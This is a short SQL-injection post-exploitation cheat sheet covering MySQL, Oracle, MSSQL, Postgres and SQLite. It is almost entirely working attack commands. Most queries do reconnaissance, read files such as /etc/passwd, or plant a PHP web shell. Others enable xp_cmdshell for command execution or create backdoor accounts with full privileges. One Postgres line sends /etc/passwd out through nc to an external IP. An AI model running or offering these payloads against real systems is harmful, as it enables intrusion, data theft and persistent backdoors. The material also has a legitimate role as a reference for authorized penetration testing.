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# Assumptions

- You have found SQL injection
- You are allowed to further exploit the system

# Recon 1

- Hostname/IP
  - MySQL:
    - `SELECT @@hostname;`
  - Oracle:
    - `SELECT UTL_INADDR.get_host_name FROM dual;`
    - `SELECT host_name FROM v$instance;`
    - `SELECT UTL_INADDR.get_host_address FROM dual;`
  - MSSQL:
    - `SELECT HOST_NAME();`
  - Postgres SQL:
    - `SELECT inet_server_addr();`

# Recon 2

- DB Location
  - MySQL:
    - `SELECT @@datadir;`
  - Oracle:
    - `SELECT name FROM V$DATAFILE;`
  - MSSQL:
    - `EXEC sp_helpdb master;`
  - Postgres SQL:
    - `SELECT current_setting('data_directory');`

# Accessing Local Files

- MySQL
  - `' UNION ALL SELECT LOAD_FILE('/etc/passwd')`
- MSSQL
  - `CREATE TABLE mydata (line varchar(8000));`
  - `BULK INSERT mydata FROM 'c:boot.ini';`
- Postgres SQL
  - `CREATE TABLE mydata(t text);`
  - `COPY mydata FROM '/etc/passwd';`
  - `' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 1;`
  - `' UNION ALL SELECT t FROM mydata LIMIT 1 OFFSET 2;`

# Writing Local Files

- MySQL
  - `SELECT 'test' FROM users INTO outfile '/tmp/somefile';`
- Postgres SQL
  - `CREATE TABLE mytable (mycol text);`
  - `INSERT INTO mytable(mycol) VALUES ('<?pasthru($_GET[cmd]); ?>');`
  - `COPY mytable (mycol) TO '/tmp/test.php';`
- SQLite
  - `ATTACH DATABASE '/var/www/test.php';`
  - `CREATE TABLE test.blah (dat text);`
  - `INSERT INTO test.blah (dat) VALUES ('test');`

# Command Execution

- MSSQL
  - EXEC sp\_configure 'show advanced options', 1;
  - RECONFIGURE;
  - EXEC sp\_configure 'xp\_cmdshell', 1;
  - RECONFIGURE;
  - EXEC xp\_cmdshell 'net user';
- Postgres SQL
  - CREATE OR REPLACE FUNCTION system(cstring)  
RETURNS int AS '/lib/libc.so.6', 'system'  
LANGUAGE 'C' STRICT;
  - SELECT system('cat /etc/passwd | nc  
10.0.0.1 8080');

# Create Users

- MySQL
  - CREATE USER test1 IDENTIFIED BY 'pass1';
  - GRANT ALL PRIVILEGES ON \*.\* TO test1@'%';
- Oracle
- MSSQL
  - EXEC sp\_addlogin 'user', 'pass';
  - EXEC master.dbo.sp\_addsrvrolemember 'user', 'sysadmin';
- Postgres SQL
  - CREATE USER test1 PASSWORD 'pass1';
  - ALTER USER test1 CREATEUSER CREATEDB;
- SQLite



# References/Sources

- <http://atta.cked.me/home/sqlite3injectioncheatsheet>
- <http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injection-cheat-sheet>
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